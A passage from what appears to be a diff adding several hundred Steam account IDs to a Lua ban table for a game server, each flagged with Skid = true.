Skid = true}, + ["STEAM_0:0:5277228"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21939567"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30150218"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12468561"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31558699"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16985414"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20746739"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20866607"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27337698"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37647485"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22093860"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38252989"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22188426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41178252"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23568682"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26394266"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50206546"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10301884"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:21659618"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17784269"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20218292"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16526027"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33536987"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33024462"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22540975"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15504057"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39078922"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29172448"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18485271"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27077502"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7645208"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26511192"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26079154"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32768248"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42836926"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18650605"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21552041"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17546716"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26572459"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:13995445"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27283126"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33539139"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33792344"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24381198"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19120347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41478321"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27255523"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26259179"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40052094"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8792588"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5349405"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24283039"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47548155"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:11691408"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32570393"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24496053"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26012662"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20515109"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43604243"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23437449"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34006002"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24492973"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26172141"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24714892"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39824466"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38452197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15637724"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5548378"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26431495"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31903507"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25978864"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18119795"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17143161"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15845998"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42539589"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44844907"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34374005"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27406679"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17804836"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21251667"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31930856"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29246943"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17068251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19122063"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16566805"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21496174"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19765883"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30851657"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:23112123"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34070382"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14829931"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38767553"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14656281"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15759372"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34516076"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47401210"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26592873"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19995979"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16472474"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37790285"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26172469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20839745"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24714448"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31765142"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16790507"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14533588"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22112709"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35730090"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9871324"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17243395"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5212097"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:2225456"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31775172"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20288410"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4798281"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:36191497"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20962862"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9161920"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40925893"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37915686"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26240673"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30736921"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41425385"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38119668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26509632"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32758037"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32179276"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22136981"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43790420"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22565488"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31379384"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29315958"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41465253"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20805485"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18772388"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29967828"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33590389"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7310025"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41366841"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23209999"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25399184"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29530639"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37025967"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33475089"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33734623"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29324139"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26195352"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31888967"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30307804"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13191828"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35403823"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37050190"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:32806003"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19008524"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26019050"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22065680"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:345320"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41248830"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:423969"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12885039"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13878239"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42511906"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29850438"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9855831"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:47215367"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31036969"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24140620"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41616272"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21821768"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:41595996"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34909757"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15518963"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33455769"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28760023"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22520929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34497158"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31862133"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27996438"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20990849"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15532508"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31544630"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17409456"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37548713"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30371161"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:8729134"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29563270"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15911169"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24921549"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37919289"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34097427"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17885939"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6580062"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15454583"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26888610"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14513483"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24364692"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:12551692"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41154609"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20041818"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43095360"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26924100"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26840924"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10402426"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33369845"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19960642"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27261803"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:4066936"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3479585"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14648670"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23039257"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19556890"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20890765"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24786705"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:62940"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24915227"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6880802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19229096"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:22002322"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18191040"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37843910"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33114003"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15690802"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28818696"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25415083"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25452418"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19427546"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33300739"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9943485"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25401410"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33396834"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:5389432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:9848005"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40087113"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15342841"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30994758"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28163340"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16035293"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6243024"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15518683"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21893197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25382518"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6101457"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26981576"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33605183"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24918286"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6021440"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30992848"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29378857"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:38312983"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15611592"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:45368394"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17777622"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19168766"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41691155"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33934051"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22064715"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29324469"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27176604"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27043140"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39921319"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6121646"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3706405"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20703580"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22762748"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20756308"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35550050"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37754189"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40700272"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29514950"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33321929"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36594519"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17293785"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27077435"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19938508"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33168494"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:19797596"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23311135"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29348752"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14606367"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30648388"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17619331"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16531554"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:40702019"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39809049"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13745480"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:46124957"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:27918000"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:6750859"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28992682"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7971955"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16659693"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:44504364"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:28876396"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24682503"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26447547"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30430733"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:28462533"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25363766"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20294348"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12230876"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:6923172"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31114463"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14512467"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8550432"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:50497859"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20543488"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13740532"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18470560"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:682450"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:39895321"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35426874"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42757533"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:23430747"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25971343"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34485415"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20379321"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37881005"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:11538807"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16625608"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42497661"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15691251"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:38523757"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19631925"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:4234197"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7338701"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33941810"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:116914083"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20347090"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22778196"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:25739925"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:15906596"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34964124"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:34948843"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26353571"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:46885776"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42133417"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26910771"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:42110487"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:14766542"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32553152"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:45829692"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20915525"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:19560927"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:35904007"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:18110816"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:15533024"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:14027318"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:3392893"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20951249"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:36300176"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45375145"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:7971757"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39383347"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20819796"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:13459863"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:43141961"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:39667744"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21207096"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:16197301"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24971728"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:21261418"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37078694"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27258883"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17489355"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24285937"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:27823238"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:41314991"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:25807996"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29259837"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20848708"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10958668"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:30498550"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22978000"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40063844"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:32607684"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:37522991"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20199059"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:29509729"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34516492"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43771084"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:18595052"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:22466357"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:8667058"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:31886278"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:17854060"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:30436795"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:35104657"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:20366378"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:24189060"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37160489"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:40843744"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:33337822"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:17922697"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:44458585"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29847085"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:10487329"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:43909175"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:31578137"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:24956796"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:34159242"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:12770156"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42439493"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:9888611"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26325041"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37073731"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37149000"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:33233680"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29891963"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:20261409"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16730801"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:29432743"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:26223972"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:42848692"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:37536092"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:1:26496599"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:45114256"] = {Name = "banlist: ", Skid = true}, + ["STEAM_0:0:16325730"] = 